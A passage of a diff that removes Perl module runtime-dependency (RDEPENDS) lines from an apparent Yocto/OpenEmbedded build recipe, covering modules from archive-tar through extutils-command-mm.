-RDEPENDS_perl-module-archive-tar-constant += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-time-local"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-file-basename"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-vars"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-config"
-RDEPENDS_perl-module-archive-tar += "perl-module-cwd"
-RDEPENDS_perl-module-archive-tar += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar += "perl-module-file-path"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-zlib"
-RDEPENDS_perl-module-archive-tar += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar += "perl-module-vars"
-RDEPENDS_perl-module-arybase += "perl-module-xsloader"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-strict"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-exporter"
-RDEPENDS_perl-module-attributes += "perl-module-strict"
-RDEPENDS_perl-module-attributes += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-xsloader"
-RDEPENDS_perl-module-autodie-exception += "perl-module-constant"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fatal"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fcntl"
-RDEPENDS_perl-module-autodie-exception += "perl-module-overload"
-RDEPENDS_perl-module-autodie-exception += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-parent"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-hints += "perl-module-b"
-RDEPENDS_perl-module-autodie-hints += "perl-module-constant"
-RDEPENDS_perl-module-autodie-hints += "perl-module-strict"
-RDEPENDS_perl-module-autodie-hints += "perl-module-warnings"
-RDEPENDS_perl-module-autodie += "perl-module-constant"
-RDEPENDS_perl-module-autodie += "perl-module-lib"
-RDEPENDS_perl-module-autodie += "perl-module-parent"
-RDEPENDS_perl-module-autodie += "perl-module-strict"
-RDEPENDS_perl-module-autodie += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-skip += "perl-module-strict"
-RDEPENDS_perl-module-autodie-skip += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
-RDEPENDS_perl-module-autodie-util += "perl-module-exporter"
-RDEPENDS_perl-module-autodie-util += "perl-module-strict"
-RDEPENDS_perl-module-autodie-util += "perl-module-warnings"
-RDEPENDS_perl-module-autoloader += "perl-module-strict"
-RDEPENDS_perl-module-autosplit += "perl-module-config"
-RDEPENDS_perl-module-autosplit += "perl-module-exporter"
-RDEPENDS_perl-module-autosplit += "perl-module-file-basename"
-RDEPENDS_perl-module-autosplit += "perl-module-file-path"
-RDEPENDS_perl-module-autosplit += "perl-module-strict"
-RDEPENDS_perl-module-base += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-b"
-RDEPENDS_perl-module-b-concise += "perl-module-b-op-private"
-RDEPENDS_perl-module-b-concise += "perl-module-config"
-RDEPENDS_perl-module-b-concise += "perl-module-exporter"
-RDEPENDS_perl-module-b-concise += "perl-module-feature"
-RDEPENDS_perl-module-b-concise += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-warnings"
-RDEPENDS_perl-module-b-debug += "perl-module-b"
-RDEPENDS_perl-module-b-debug += "perl-module-config"
-RDEPENDS_perl-module-b-debug += "perl-module-strict"
-RDEPENDS_perl-module-benchmark += "perl-module-exporter"
-RDEPENDS_perl-module-benchmark += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-constant"
-RDEPENDS_perl-module-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigint += "perl-module-overload"
-RDEPENDS_perl-module-bigint += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-bignum += "perl-module-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-exporter"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigfloat-trace"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint"
-RDEPENDS_perl-module-bignum += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bignum += "perl-module-overload"
-RDEPENDS_perl-module-bignum += "perl-module-strict"
-RDEPENDS_perl-module-bignum += "perl-module-warnings"
-RDEPENDS_perl-module-bigrat += "perl-module-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-exporter"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigrat += "perl-module-math-bigrat"
-RDEPENDS_perl-module-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-blib += "perl-module-cwd"
-RDEPENDS_perl-module-b += "perl-module-exporter"
-RDEPENDS_perl-module-b += "perl-module-xsloader"
-RDEPENDS_perl-module-b-showlex += "perl-module-b"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-concise"
-RDEPENDS_perl-module-b-showlex += "perl-module-b-terse"
-RDEPENDS_perl-module-b-showlex += "perl-module-strict"
-RDEPENDS_perl-module-b-terse += "perl-module-b"
-RDEPENDS_perl-module-b-terse += "perl-module-b-concise"
-RDEPENDS_perl-module-b-terse += "perl-module-strict"
-RDEPENDS_perl-module-b-xref += "perl-module-b"
-RDEPENDS_perl-module-b-xref += "perl-module-config"
-RDEPENDS_perl-module-b-xref += "perl-module-strict"
-RDEPENDS_perl-module-bytes += "perl-module-bytes-heavy"
-RDEPENDS_perl-module-carp += "perl-module-exporter"
-RDEPENDS_perl-module-carp += "perl-module-strict"
-RDEPENDS_perl-module-carp += "perl-module-warnings"
-RDEPENDS_perl-module--charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module-bytes"
-RDEPENDS_perl-module-charnames += "perl-module--charnames"
-RDEPENDS_perl-module--charnames += "perl-module-re"
-RDEPENDS_perl-module-charnames += "perl-module-re"
-RDEPENDS_perl-module--charnames += "perl-module-strict"
-RDEPENDS_perl-module-charnames += "perl-module-strict"
-RDEPENDS_perl-module--charnames += "perl-module-warnings"
-RDEPENDS_perl-module-charnames += "perl-module-warnings"
-RDEPENDS_perl-module-class-struct += "perl-module-exporter"
-RDEPENDS_perl-module-class-struct += "perl-module-strict"
-RDEPENDS_perl-module-class-struct += "perl-module-warnings-register"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-bzip2 += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-dynaloader"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-compress-raw-zlib += "perl-module-xsloader"
-RDEPENDS_perl-module-compress-zlib += "perl-module-bytes "
-RDEPENDS_perl-module-compress-zlib += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-compress-zlib += "perl-module-constant"
-RDEPENDS_perl-module-compress-zlib += "perl-module-exporter"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-handle "
-RDEPENDS_perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-compress-zlib += "perl-module-strict "
-RDEPENDS_perl-module-compress-zlib += "perl-module-warnings "
-RDEPENDS_perl-module-config-extensions += "perl-module-config"
-RDEPENDS_perl-module-config-extensions += "perl-module-exporter"
-RDEPENDS_perl-module-config-extensions += "perl-module-strict"
-RDEPENDS_perl-module-config += "perl-module-strict"
-RDEPENDS_perl-module-config += "perl-module-warnings"
-RDEPENDS_perl-module-config-perl-v += "perl-module-config"
-RDEPENDS_perl-module-config-perl-v += "perl-module-exporter"
-RDEPENDS_perl-module-config-perl-v += "perl-module-strict"
-RDEPENDS_perl-module-config-perl-v += "perl-module-vars"
-RDEPENDS_perl-module-config-perl-v += "perl-module-warnings"
-RDEPENDS_perl-module-constant += "perl-module-strict"
-RDEPENDS_perl-module-constant += "perl-module-warnings-register"
-RDEPENDS_perl-module-corelist += "perl-module-list-util"
-RDEPENDS_perl-module-corelist += "perl-module-corelist"
-RDEPENDS_perl-module-corelist += "perl-module-strict"
-RDEPENDS_perl-module-corelist += "perl-module-version"
-RDEPENDS_perl-module-corelist += "perl-module-warnings"
-RDEPENDS_perl-module-cpan += "perl-module-b"
-RDEPENDS_perl-module-cpan += "perl-module-config"
-RDEPENDS_perl-module-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-cpan += "perl-module-dirhandle"
-RDEPENDS_perl-module-cpan += "perl-module-errno"
-RDEPENDS_perl-module-cpan += "perl-module-exporter"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-cpan += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-cpan += "perl-module-fcntl"
-RDEPENDS_perl-module-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-cpan += "perl-module-file-copy"
-RDEPENDS_perl-module-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-cpan += "perl-module-filehandle"
-RDEPENDS_perl-module-cpan += "perl-module-file-path"
-RDEPENDS_perl-module-cpan += "perl-module-lib"
-RDEPENDS_perl-module-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-cpan += "perl-module-overload"
-RDEPENDS_perl-module-cpan += "perl-module-posix"
-RDEPENDS_perl-module-cpan += "perl-module-safe"
-RDEPENDS_perl-module-cpan += "perl-module-strict"
-RDEPENDS_perl-module-cpan += "perl-module-sys-hostname"
-RDEPENDS_perl-module-cpan += "perl-module-term-readline"
-RDEPENDS_perl-module-cpan += "perl-module-text-parsewords"
-RDEPENDS_perl-module-cpan += "perl-module-text-wrap"
-RDEPENDS_perl-module-cpan += "perl-module-time-local"
-RDEPENDS_perl-module-cpan += "perl-module-vars"
-RDEPENDS_perl-module-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-cwd += "perl-module-errno"
-RDEPENDS_perl-module-cwd += "perl-module-exporter"
-RDEPENDS_perl-module-cwd += "perl-module-strict"
-RDEPENDS_perl-module-cwd += "perl-module-xsloader"
-RDEPENDS_perl-module-data-dumper += "perl-module-bytes"
-RDEPENDS_perl-module-data-dumper += "perl-module-config"
-RDEPENDS_perl-module-data-dumper += "perl-module-constant"
-RDEPENDS_perl-module-data-dumper += "perl-module-exporter"
-RDEPENDS_perl-module-data-dumper += "perl-module-xsloader"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-compress += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-encode += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-int32 += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-null += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter += "perl-module-warnings"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-strict"
-RDEPENDS_perl-module-dbm-filter-utf8 += "perl-module-warnings"
-RDEPENDS_perl-module-db += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-strict"
-RDEPENDS_perl-module-deprecate += "perl-module-warnings"
-RDEPENDS_perl-module-devel-peek += "perl-module-exporter"
-RDEPENDS_perl-module-devel-peek += "perl-module-xsloader"
-RDEPENDS_perl-module-devel-ppport += "perl-module-file-find"
-RDEPENDS_perl-module-devel-ppport += "perl-module-getopt-long"
-RDEPENDS_perl-module-devel-ppport += "perl-module-strict"
-RDEPENDS_perl-module-devel-ppport += "perl-module-vars"
-RDEPENDS_perl-module-devel-selfstubber += "perl-module-selfloader"
-RDEPENDS_perl-module-diagnostics += "perl-module-config"
-RDEPENDS_perl-module-diagnostics += "perl-module-getopt-std"
-RDEPENDS_perl-module-diagnostics += "perl-module-strict"
-RDEPENDS_perl-module-diagnostics += "perl-module-text-tabs"
-RDEPENDS_perl-module-digest-base += "perl-module-mime-base64"
-RDEPENDS_perl-module-digest-base += "perl-module-strict"
-RDEPENDS_perl-module-digest-base += "perl-module-vars"
-RDEPENDS_perl-module-digest-file += "perl-module-digest"
-RDEPENDS_perl-module-digest-file += "perl-module-exporter"
-RDEPENDS_perl-module-digest-file += "perl-module-strict"
-RDEPENDS_perl-module-digest-file += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-md5 += "perl-module-exporter"
-RDEPENDS_perl-module-digest-md5 += "perl-module-strict"
-RDEPENDS_perl-module-digest-md5 += "perl-module-vars"
-RDEPENDS_perl-module-digest-md5 += "perl-module-xsloader"
-RDEPENDS_perl-module-digest += "perl-module-strict"
-RDEPENDS_perl-module-digest += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-digest-base"
-RDEPENDS_perl-module-digest-sha += "perl-module-dynaloader"
-RDEPENDS_perl-module-digest-sha += "perl-module-exporter"
-RDEPENDS_perl-module-digest-sha += "perl-module-fcntl"
-RDEPENDS_perl-module-digest-sha += "perl-module-integer"
-RDEPENDS_perl-module-digest-sha += "perl-module-strict"
-RDEPENDS_perl-module-digest-sha += "perl-module-vars"
-RDEPENDS_perl-module-digest-sha += "perl-module-warnings"
-RDEPENDS_perl-module-digest-sha += "perl-module-xsloader"
-RDEPENDS_perl-module-dynaloader += "perl-module-config"
-RDEPENDS_perl-module-encode-alias += "perl-module-constant"
-RDEPENDS_perl-module-encode-alias += "perl-module-encode"
-RDEPENDS_perl-module-encode-alias += "perl-module-exporter"
-RDEPENDS_perl-module-encode-alias += "perl-module-strict"
-RDEPENDS_perl-module-encode-alias += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-encode"
-RDEPENDS_perl-module-encode-byte += "perl-module-strict"
-RDEPENDS_perl-module-encode-byte += "perl-module-warnings"
-RDEPENDS_perl-module-encode-byte += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-exporter"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-strict"
-RDEPENDS_perl-module-encode-cjkconstants += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-parent"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-utf8"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-vars"
-RDEPENDS_perl-module-encode-cn-hz += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode"
-RDEPENDS_perl-module-encode-cn += "perl-module-encode-cn-hz"
-RDEPENDS_perl-module-encode-cn += "perl-module-strict"
-RDEPENDS_perl-module-encode-cn += "perl-module-warnings"
-RDEPENDS_perl-module-encode-cn += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-config += "perl-module-strict"
-RDEPENDS_perl-module-encode-config += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-encode"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-strict"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-warnings"
-RDEPENDS_perl-module-encode-ebcdic += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-encoder += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoder += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoder += "perl-module-exporter"
-RDEPENDS_perl-module-encode-encoder += "perl-module-overload"
-RDEPENDS_perl-module-encode-encoder += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoder += "perl-module-warnings"
-RDEPENDS_perl-module-encode-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encode-encoding += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encode-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-encode"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-parent"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-strict"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-utf8"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-vars"
-RDEPENDS_perl-module-encode-gsm0338 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-guess += "perl-module-bytes"
-RDEPENDS_perl-module-encode-guess += "perl-module-constant"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode"
-RDEPENDS_perl-module-encode-guess += "perl-module-encode-unicode"
-RDEPENDS_perl-module-encode-guess += "perl-module-parent"
-RDEPENDS_perl-module-encode-guess += "perl-module-strict"
-RDEPENDS_perl-module-encode-guess += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-vars"
-RDEPENDS_perl-module-encode-jp-h2z += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-bytes"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp-jis7 += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode"
-RDEPENDS_perl-module-encode-jp += "perl-module-encode-jp-jis7"
-RDEPENDS_perl-module-encode-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-jp += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-parent"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr-2022-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode"
-RDEPENDS_perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
-RDEPENDS_perl-module-encode-kr += "perl-module-strict"
-RDEPENDS_perl-module-encode-kr += "perl-module-warnings"
-RDEPENDS_perl-module-encode-kr += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-encode"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-parent"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-header += "perl-module-warnings"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-strict"
-RDEPENDS_perl-module-encode-mime-name += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-bytes"
-RDEPENDS_perl-module-encode += "perl-module-constant"
-RDEPENDS_perl-module-encode += "perl-module-encode-alias"
-RDEPENDS_perl-module-encode += "perl-module-encode-config"
-RDEPENDS_perl-module-encode += "perl-module-encode-configlocal-pm"
-RDEPENDS_perl-module-encode += "perl-module-encode-mime-name"
-RDEPENDS_perl-module-encode += "perl-module-exporter"
-RDEPENDS_perl-module-encode += "perl-module-parent"
-RDEPENDS_perl-module-encode += "perl-module-storable"
-RDEPENDS_perl-module-encode += "perl-module-strict"
-RDEPENDS_perl-module-encode += "perl-module-warnings"
-RDEPENDS_perl-module-encode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-symbol += "perl-module-encode"
-RDEPENDS_perl-module-encode-symbol += "perl-module-strict"
-RDEPENDS_perl-module-encode-symbol += "perl-module-warnings"
-RDEPENDS_perl-module-encode-symbol += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-tw += "perl-module-encode"
-RDEPENDS_perl-module-encode-tw += "perl-module-strict"
-RDEPENDS_perl-module-encode-tw += "perl-module-warnings"
-RDEPENDS_perl-module-encode-tw += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode += "perl-module-warnings"
-RDEPENDS_perl-module-encode-unicode += "perl-module-xsloader"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-encode"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-parent"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-re"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-strict"
-RDEPENDS_perl-module-encode-unicode-utf7 += "perl-module-warnings"
-RDEPENDS_perl-module-encoding += "perl-module-config"
-RDEPENDS_perl-module-encoding += "perl-module-constant"
-RDEPENDS_perl-module-encoding += "perl-module-encode"
-RDEPENDS_perl-module-encoding += "perl-module-filter-util-call"
-RDEPENDS_perl-module-encoding += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-encoding += "perl-module-posix"
-RDEPENDS_perl-module-encoding += "perl-module-strict"
-RDEPENDS_perl-module-encoding += "perl-module-utf8"
-RDEPENDS_perl-module-encoding += "perl-module-warnings"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-strict"
-RDEPENDS_perl-module-encoding-warnings += "perl-module-warnings"
-RDEPENDS_perl-module-english += "perl-module-exporter"
-RDEPENDS_perl-module-env += "perl-module-config"
-RDEPENDS_perl-module-env += "perl-module-tie-array"
-RDEPENDS_perl-module-errno += "perl-module-exporter"
-RDEPENDS_perl-module-errno += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-strict"
-RDEPENDS_perl-module-experimental += "perl-module-version"
-RDEPENDS_perl-module-experimental += "perl-module-warnings"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-exporter"
-RDEPENDS_perl-module-exporter-heavy += "perl-module-strict"
-RDEPENDS_perl-module-exporter += "perl-module-exporter-heavy"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-file-temp"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-cbuilder-base += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
-RDEPENDS_perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-command"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-extutils-install"
